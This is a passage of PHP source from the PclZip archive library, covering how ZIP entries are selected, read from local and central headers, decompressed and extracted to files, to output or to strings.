                    // ----- Look for a filename
                    } elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                        $v_extract = true;
                    }
                }

            // ----- Look for extract by preg rule
            } elseif ((isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

                if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
                    $v_extract = true;
                }

            // ----- Look for extract by index rule
            } elseif ((isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

                // ----- Look if the index is in the list
                for ($j = $j_start; ($j < sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {

                    if (($i >= $p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i <= $p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                        $v_extract = true;
                    }
                    if ($i >= $p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                        $j_start = $j + 1;
                    }

                    if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start'] > $i) {
                        break;
                    }
                }

            // ----- Look for no rule, which means extract all the archive
            } else {
                $v_extract = true;
            }

            // ----- Check compression method
            if (($v_extract) && (($v_header['compression'] != 8) && ($v_header['compression'] != 0))) {
                $v_header['status'] = 'unsupported_compression';

                // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
                if ((isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR] === true)) {

                    $this->privSwapBackMagicQuotes();

                    PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, "Filename '" . $v_header['stored_filename'] . "' is " . "compressed by an unsupported compression " . "method (" . $v_header['compression'] . ") ");

                    return PclZip::errorCode();
                }
            }

            // ----- Check encrypted files
            if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
                $v_header['status'] = 'unsupported_encryption';

                // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
                if ((isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR] === true)) {

                    $this->privSwapBackMagicQuotes();

                    PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, "Unsupported encryption for " . " filename '" . $v_header['stored_filename'] . "'");

                    return PclZip::errorCode();
                }
            }

            // ----- Look for real extraction
            if (($v_extract) && ($v_header['status'] != 'ok')) {
                $v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++]);
                if ($v_result != 1) {
                    $this->privCloseFd();
                    $this->privSwapBackMagicQuotes();

                    return $v_result;
                }

                $v_extract = false;
            }

            // ----- Look for real extraction
            if ($v_extract) {

                // ----- Go to the file position
                @rewind($this->zip_fd);
                if (@fseek($this->zip_fd, $v_header['offset'])) {
                    // ----- Close the zip file
                    $this->privCloseFd();

                    $this->privSwapBackMagicQuotes();

                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

                    // ----- Return
                    return PclZip::errorCode();
                }

                // ----- Look for extraction as string
                if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {

                    $v_string = '';

                    // ----- Extracting the file
                    $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
                    if ($v_result1 < 1) {
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result1;
                    }

                    // ----- Get the only interesting attributes
                    if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) {
                        // ----- Close the zip file
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result;
                    }

                    // ----- Set the file content
                    $p_file_list[$v_nb_extracted]['content'] = $v_string;

                    // ----- Next extracted file
                    $v_nb_extracted++;

                    // ----- Look for user callback abort
                    if ($v_result1 == 2) {
                        break;
                    }

                // ----- Look for extraction in standard output
                } elseif ((isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
                    // ----- Extracting the file in standard output
                    $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
                    if ($v_result1 < 1) {
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result1;
                    }

                    // ----- Get the only interesting attributes
                    if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result;
                    }

                    // ----- Look for user callback abort
                    if ($v_result1 == 2) {
                        break;
                    }

                // ----- Look for normal extraction
                } else {
                    // ----- Extracting the file
                    $v_result1 = $this->privExtractFile($v_header, $p_path, $p_remove_path, $p_remove_all_path, $p_options);
                    if ($v_result1 < 1) {
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result1;
                    }

                    // ----- Get the only interesting attributes
                    if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
                        // ----- Close the zip file
                        $this->privCloseFd();
                        $this->privSwapBackMagicQuotes();

                        return $v_result;
                    }

                    // ----- Look for user callback abort
                    if ($v_result1 == 2) {
                        break;
                    }
                }
            }
        }

        // ----- Close the zip file
        $this->privCloseFd();
        $this->privSwapBackMagicQuotes();

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privExtractFile()
    // Description :
    // Parameters :
    // Return Values :
    //
    // 1 : ... ?
    // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
    // --------------------------------------------------------------------------------
    public function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
    {
        $v_result = 1;

        // ----- Read the file header
        if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Check that the file header is coherent with $p_entry info
        if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
            // TBC
        }

        // ----- Look for all path to remove
        if ($p_remove_all_path == true) {
            // ----- Look for folder entry that not need to be extracted
            if (($p_entry['external'] & 0x00000010) == 0x00000010) {

                $p_entry['status'] = "filtered";

                return $v_result;
            }

            // ----- Get the basename of the path
            $p_entry['filename'] = basename($p_entry['filename']);

        // ----- Look for path to remove
        } elseif ($p_remove_path != "") {
            if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) {

                // ----- Change the file status
                $p_entry['status'] = "filtered";

                // ----- Return
                return $v_result;
            }

            $p_remove_path_size = strlen($p_remove_path);
            if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) {

                // ----- Remove the path
                $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);

            }
        }

        // ----- Add the path
        if ($p_path != '') {
            $p_entry['filename'] = $p_path . "/" . $p_entry['filename'];
        }

        // ----- Check a base_dir_restriction
        if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
            $v_inclusion = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], $p_entry['filename']);
            if ($v_inclusion == 0) {

                PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, "Filename '" . $p_entry['filename'] . "' is " . "outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");

                return PclZip::errorCode();
            }
        }

        // ----- Look for pre-extract callback
        if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
            if ($v_result == 0) {
                // ----- Change the file status
                $p_entry['status'] = "skipped";
                $v_result          = 1;
            }

            // ----- Look for abort result
            if ($v_result == 2) {
                // ----- This status is internal and will be changed in 'skipped'
                $p_entry['status'] = "aborted";
                $v_result          = PCLZIP_ERR_USER_ABORTED;
            }

            // ----- Update the informations
            // Only some fields can be modified
            $p_entry['filename'] = $v_local_header['filename'];
        }

        // ----- Look if extraction should be done
        if ($p_entry['status'] == 'ok') {

            // ----- Look for specific actions while the file exist
            if (file_exists($p_entry['filename'])) {

                // ----- Look if file is a directory
                if (is_dir($p_entry['filename'])) {

                    // ----- Change the file status
                    $p_entry['status'] = "already_a_directory";

                    // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
                    // For historical reason first PclZip implementation does not stop
                    // when this kind of error occurs.
                    if ((isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR] === true)) {

                        PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, "Filename '" . $p_entry['filename'] . "' is " . "already used by an existing directory");

                        return PclZip::errorCode();
                    }

                // ----- Look if file is write protected
                } elseif (!is_writeable($p_entry['filename'])) {

                    // ----- Change the file status
                    $p_entry['status'] = "write_protected";

                    // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
                    // For historical reason first PclZip implementation does not stop
                    // when this kind of error occurs.
                    if ((isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR] === true)) {

                        PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Filename '" . $p_entry['filename'] . "' exists " . "and is write protected");

                        return PclZip::errorCode();
                    }

                // ----- Look if the extracted file is older
                } elseif (filemtime($p_entry['filename']) > $p_entry['mtime']) {
                    // ----- Change the file status
                    if ((isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) && ($p_options[PCLZIP_OPT_REPLACE_NEWER] === true)) {
                    } else {
                        $p_entry['status'] = "newer_exist";

                        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
                        // For historical reason first PclZip implementation does not stop
                        // when this kind of error occurs.
                        if ((isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) && ($p_options[PCLZIP_OPT_STOP_ON_ERROR] === true)) {

                            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, "Newer version of '" . $p_entry['filename'] . "' exists " . "and option PCLZIP_OPT_REPLACE_NEWER is not selected");

                            return PclZip::errorCode();
                        }
                    }
                } else {
                }

            // ----- Check the directory availability and create it if necessary
            } else {
                if ((($p_entry['external'] & 0x00000010) == 0x00000010) || (substr($p_entry['filename'], -1) == '/')) {
                    $v_dir_to_check = $p_entry['filename'];
                } elseif (!strstr($p_entry['filename'], "/")) {
                    $v_dir_to_check = "";
                } else {
                    $v_dir_to_check = dirname($p_entry['filename']);
                }

                if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external'] & 0x00000010) == 0x00000010))) != 1) {

                    // ----- Change the file status
                    $p_entry['status'] = "path_creation_fail";

                    // ----- Return
                    //return $v_result;
                    $v_result = 1;
                }
            }
        }

        // ----- Look if extraction should be done
        if ($p_entry['status'] == 'ok') {

            // ----- Do the extraction (if not a folder)
            if (!(($p_entry['external'] & 0x00000010) == 0x00000010)) {
                // ----- Look for not compressed file
                if ($p_entry['compression'] == 0) {

                    // ----- Opening destination file
                    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {

                        // ----- Change the file status
                        $p_entry['status'] = "write_error";

                        // ----- Return
                        return $v_result;
                    }

                    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
                    $v_size = $p_entry['compressed_size'];
                    while ($v_size != 0) {
                        $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
                        $v_buffer    = @fread($this->zip_fd, $v_read_size);
                        /* Try to speed up the code
                        $v_binary_data = pack('a'.$v_read_size, $v_buffer);
                        @fwrite($v_dest_file, $v_binary_data, $v_read_size);
                        */
                        @fwrite($v_dest_file, $v_buffer, $v_read_size);
                        $v_size -= $v_read_size;
                    }

                    // ----- Closing the destination file
                    fclose($v_dest_file);

                    // ----- Change the file mtime
                    touch($p_entry['filename'], $p_entry['mtime']);

                } else {
                    // ----- TBC
                    // Need to be finished
                    if (($p_entry['flag'] & 1) == 1) {
                        PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \'' . $p_entry['filename'] . '\' is encrypted. Encrypted files are not supported.');

                        return PclZip::errorCode();
                    }

                    // ----- Look for using temporary file to unzip
                    if ((!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])))) {
                        $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
                        if ($v_result < PCLZIP_ERR_NO_ERROR) {
                            return $v_result;
                        }

                    // ----- Look for extract in memory
                    } else {

                        // ----- Read the compressed file in a buffer (one shot)
                        $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);

                        // ----- Decompress the file
                        $v_file_content = @gzinflate($v_buffer);
                        unset($v_buffer);
                        if ($v_file_content === false) {

                            // ----- Change the file status
                            // TBC
                            $p_entry['status'] = "error";

                            return $v_result;
                        }

                        // ----- Opening destination file
                        if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {

                            // ----- Change the file status
                            $p_entry['status'] = "write_error";

                            return $v_result;
                        }

                        // ----- Write the uncompressed data
                        @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
                        unset($v_file_content);

                        // ----- Closing the destination file
                        @fclose($v_dest_file);

                    }

                    // ----- Change the file mtime
                    @touch($p_entry['filename'], $p_entry['mtime']);
                }

                // ----- Look for chmod option
                if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {

                    // ----- Change the mode of the file
                    @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
                }

            }
        }

        // ----- Change abort status
        if ($p_entry['status'] == "aborted") {
            $p_entry['status'] = "skipped";

        // ----- Look for post-extract callback
        } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

            // ----- Look for abort result
            if ($v_result == 2) {
                $v_result = PCLZIP_ERR_USER_ABORTED;
            }
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privExtractFileUsingTempFile()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privExtractFileUsingTempFile(&$p_entry, &$p_options)
    {
        $v_result = 1;

        // ----- Creates a temporary file
        $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR . uniqid('pclzip-') . '.gz';
        if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
            fclose($v_file);
            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \'' . $v_gzip_temp_name . '\' in binary write mode');

            return PclZip::errorCode();
        }

        // ----- Write gz file format header
        $v_binary_data = pack('va1a1Va1a1', 0x8b1f, chr($p_entry['compression']), chr(0x00), time(), chr(0x00), chr(3));
        @fwrite($v_dest_file, $v_binary_data, 10);

        // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
        $v_size = $p_entry['compressed_size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($this->zip_fd, $v_read_size);
            //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @fwrite($v_dest_file, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Write gz file format footer
        $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
        @fwrite($v_dest_file, $v_binary_data, 8);

        // ----- Close the temporary file
        @fclose($v_dest_file);

        // ----- Opening destination file
        if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
            $p_entry['status'] = "write_error";

            return $v_result;
        }

        // ----- Open the temporary gz file
        if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
            @fclose($v_dest_file);
            $p_entry['status'] = "read_error";
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \'' . $v_gzip_temp_name . '\' in binary read mode');

            return PclZip::errorCode();
        }

        // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
        $v_size = $p_entry['size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @gzread($v_src_file, $v_read_size);
            //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @fwrite($v_dest_file, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }
        @fclose($v_dest_file);
        @gzclose($v_src_file);

        // ----- Delete the temporary file
        @unlink($v_gzip_temp_name);

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privExtractFileInOutput()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privExtractFileInOutput(&$p_entry, &$p_options)
    {
        $v_result = 1;

        // ----- Read the file header
        if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
            return $v_result;
        }

        // ----- Check that the file header is coherent with $p_entry info
        if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
            // TBC
        }

        // ----- Look for pre-extract callback
        if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
            if ($v_result == 0) {
                // ----- Change the file status
                $p_entry['status'] = "skipped";
                $v_result          = 1;
            }

            // ----- Look for abort result
            if ($v_result == 2) {
                // ----- This status is internal and will be changed in 'skipped'
                $p_entry['status'] = "aborted";
                $v_result          = PCLZIP_ERR_USER_ABORTED;
            }

            // ----- Update the informations
            // Only some fields can be modified
            $p_entry['filename'] = $v_local_header['filename'];
        }

        // ----- Trace

        // ----- Look if extraction should be done
        if ($p_entry['status'] == 'ok') {

            // ----- Do the extraction (if not a folder)
            if (!(($p_entry['external'] & 0x00000010) == 0x00000010)) {
                // ----- Look for not compressed file
                if ($p_entry['compressed_size'] == $p_entry['size']) {

                    // ----- Read the file in a buffer (one shot)
                    $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);

                    // ----- Send the file to the output
                    echo $v_buffer;
                    unset($v_buffer);
                } else {

                    // ----- Read the compressed file in a buffer (one shot)
                    $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);

                    // ----- Decompress the file
                    $v_file_content = gzinflate($v_buffer);
                    unset($v_buffer);

                    // ----- Send the file to the output
                    echo $v_file_content;
                    unset($v_file_content);
                }
            }
        }

        // ----- Change abort status
        if ($p_entry['status'] == "aborted") {
            $p_entry['status'] = "skipped";

        // ----- Look for post-extract callback
        } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

            // ----- Look for abort result
            if ($v_result == 2) {
                $v_result = PCLZIP_ERR_USER_ABORTED;
            }
        }

        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privExtractFileAsString()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
    {
        $v_result = 1;

        // ----- Read the file header
        $v_header = array();
        if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Check that the file header is coherent with $p_entry info
        if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
            // TBC
        }

        // ----- Look for pre-extract callback
        if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
            if ($v_result == 0) {
                // ----- Change the file status
                $p_entry['status'] = "skipped";
                $v_result          = 1;
            }

            // ----- Look for abort result
            if ($v_result == 2) {
                // ----- This status is internal and will be changed in 'skipped'
                $p_entry['status'] = "aborted";
                $v_result          = PCLZIP_ERR_USER_ABORTED;
            }

            // ----- Update the informations
            // Only some fields can be modified
            $p_entry['filename'] = $v_local_header['filename'];
        }

        // ----- Look if extraction should be done
        if ($p_entry['status'] == 'ok') {

            // ----- Do the extraction (if not a folder)
            if (!(($p_entry['external'] & 0x00000010) == 0x00000010)) {
                // ----- Look for not compressed file
                //      if ($p_entry['compressed_size'] == $p_entry['size'])
                if ($p_entry['compression'] == 0) {

                    // ----- Reading the file
                    $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
                } else {

                    // ----- Reading the file
                    $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);

                    // ----- Decompress the file
                    if (($p_string = @gzinflate($v_data)) === false) {
                        // TBC
                    }
                }

                // ----- Trace
            } else {
                // TBC : error : can not extract a folder in a string
            }

        }

        // ----- Change abort status
        if ($p_entry['status'] == "aborted") {
            $p_entry['status'] = "skipped";

        // ----- Look for post-extract callback
        } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

            // ----- Generate a local information
            $v_local_header = array();
            $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

            // ----- Swap the content to header
            $v_local_header['content'] = $p_string;
            $p_string                  = '';

            // ----- Call the callback
            // Here I do not use call_user_func() because I need to send a reference to the
            // header.
            //      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
            $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

            // ----- Swap back the content to header
            $p_string = $v_local_header['content'];
            unset($v_local_header['content']);

            // ----- Look for abort result
            if ($v_result == 2) {
                $v_result = PCLZIP_ERR_USER_ABORTED;
            }
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privReadFileHeader()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privReadFileHeader(&$p_header)
    {
        $v_result = 1;

        // ----- Read the 4 bytes signature
        $v_binary_data = @fread($this->zip_fd, 4);
        $v_data        = unpack('Vid', $v_binary_data);

        // ----- Check signature
        if ($v_data['id'] != 0x04034b50) {

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Read the first 42 bytes of the header
        $v_binary_data = fread($this->zip_fd, 26);

        // ----- Look for invalid block size
        if (strlen($v_binary_data) != 26) {
            $p_header['filename'] = "";
            $p_header['status']   = "invalid_header";

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : " . strlen($v_binary_data));

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Extract the values
        $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);

        // ----- Get filename
        $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);

        // ----- Get extra_fields
        if ($v_data['extra_len'] != 0) {
            $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
        } else {
            $p_header['extra'] = '';
        }

        // ----- Extract properties
        $p_header['version_extracted'] = $v_data['version'];
        $p_header['compression']       = $v_data['compression'];
        $p_header['size']              = $v_data['size'];
        $p_header['compressed_size']   = $v_data['compressed_size'];
        $p_header['crc']               = $v_data['crc'];
        $p_header['flag']              = $v_data['flag'];
        $p_header['filename_len']      = $v_data['filename_len'];

        // ----- Recuperate date in UNIX format
        $p_header['mdate'] = $v_data['mdate'];
        $p_header['mtime'] = $v_data['mtime'];
        if ($p_header['mdate'] && $p_header['mtime']) {
            // ----- Extract time
            $v_hour    = ($p_header['mtime'] & 0xF800) >> 11;
            $v_minute  = ($p_header['mtime'] & 0x07E0) >> 5;
            $v_seconde = ($p_header['mtime'] & 0x001F) * 2;

            // ----- Extract date
            $v_year  = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
            $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
            $v_day   = $p_header['mdate'] & 0x001F;

            // ----- Get UNIX date format
            $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

        } else {
            $p_header['mtime'] = time();
        }

        // TBC
        //for (reset($v_data); $key = key($v_data); next($v_data)) {
        //}

        // ----- Set the stored filename
        $p_header['stored_filename'] = $p_header['filename'];

        // ----- Set the status field
        $p_header['status'] = "ok";

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privReadCentralFileHeader()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privReadCentralFileHeader(&$p_header)
    {
        $v_result = 1;

        // ----- Read the 4 bytes signature
        $v_binary_data = @fread($this->zip_fd, 4);
        $v_data        = unpack('Vid', $v_binary_data);

        // ----- Check signature
        if ($v_data['id'] != 0x02014b50) {

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Read the first 42 bytes of the header
        $v_binary_data = fread($this->zip_fd, 42);

        // ----- Look for invalid block size
        if (strlen($v_binary_data) != 42) {
            $p_header['filename'] = "";
            $p_header['status']   = "invalid_header";

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : " . strlen($v_binary_data));

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Extract the values
        $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);

        // ----- Get filename
        if ($p_header['filename_len'] != 0) {
            $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
        } else {
            $p_header['filename'] = '';
        }

        // ----- Get extra
        if ($p_header['extra_len'] != 0) {
            $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
        } else {
            $p_header['extra'] = '';
        }

        // ----- Get comment
        if ($p_header['comment_len'] != 0) {
            $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
        } else {
            $p_header['comment'] = '';
        }

        // ----- Extract properties

        // ----- Recuperate date in UNIX format
        //if ($p_header['mdate'] && $p_header['mtime'])
        // TBC : bug : this was ignoring time with 0/0/0
        if (1) {
            // ----- Extract time
            $v_hour    = ($p_header['mtime'] & 0xF800) >> 11;
            $v_minute  = ($p_header['mtime'] & 0x07E0) >> 5;
            $v_seconde = ($p_header['mtime'] & 0x001F) * 2;

            // ----- Extract date
            $v_year  = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
            $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
            $v_day   = $p_header['mdate'] & 0x001F;

            // ----- Get UNIX date format
            $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

        } else {
            $p_header['mtime'] = time();
        }

        // ----- Set the stored filename
        $p_header['stored_filename'] = $p_header['filename'];

        // ----- Set default status to ok
        $p_header['status'] = 'ok';

        // ----- Look if it is a directory
        if (substr($p_header['filename'], -1) == '/') {
            //$p_header['external'] = 0x41FF0010;
            $p_header['external'] = 0x00000010;
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privCheckFileHeaders()
    // Description :
    // Parameters :
    // Return Values :
    //   1 on success,
    //   0 on error;
    // --------------------------------------------------------------------------------
    public function privCheckFileHeaders(&$p_local_header, &$p_central_header)
    {
        $v_result = 1;

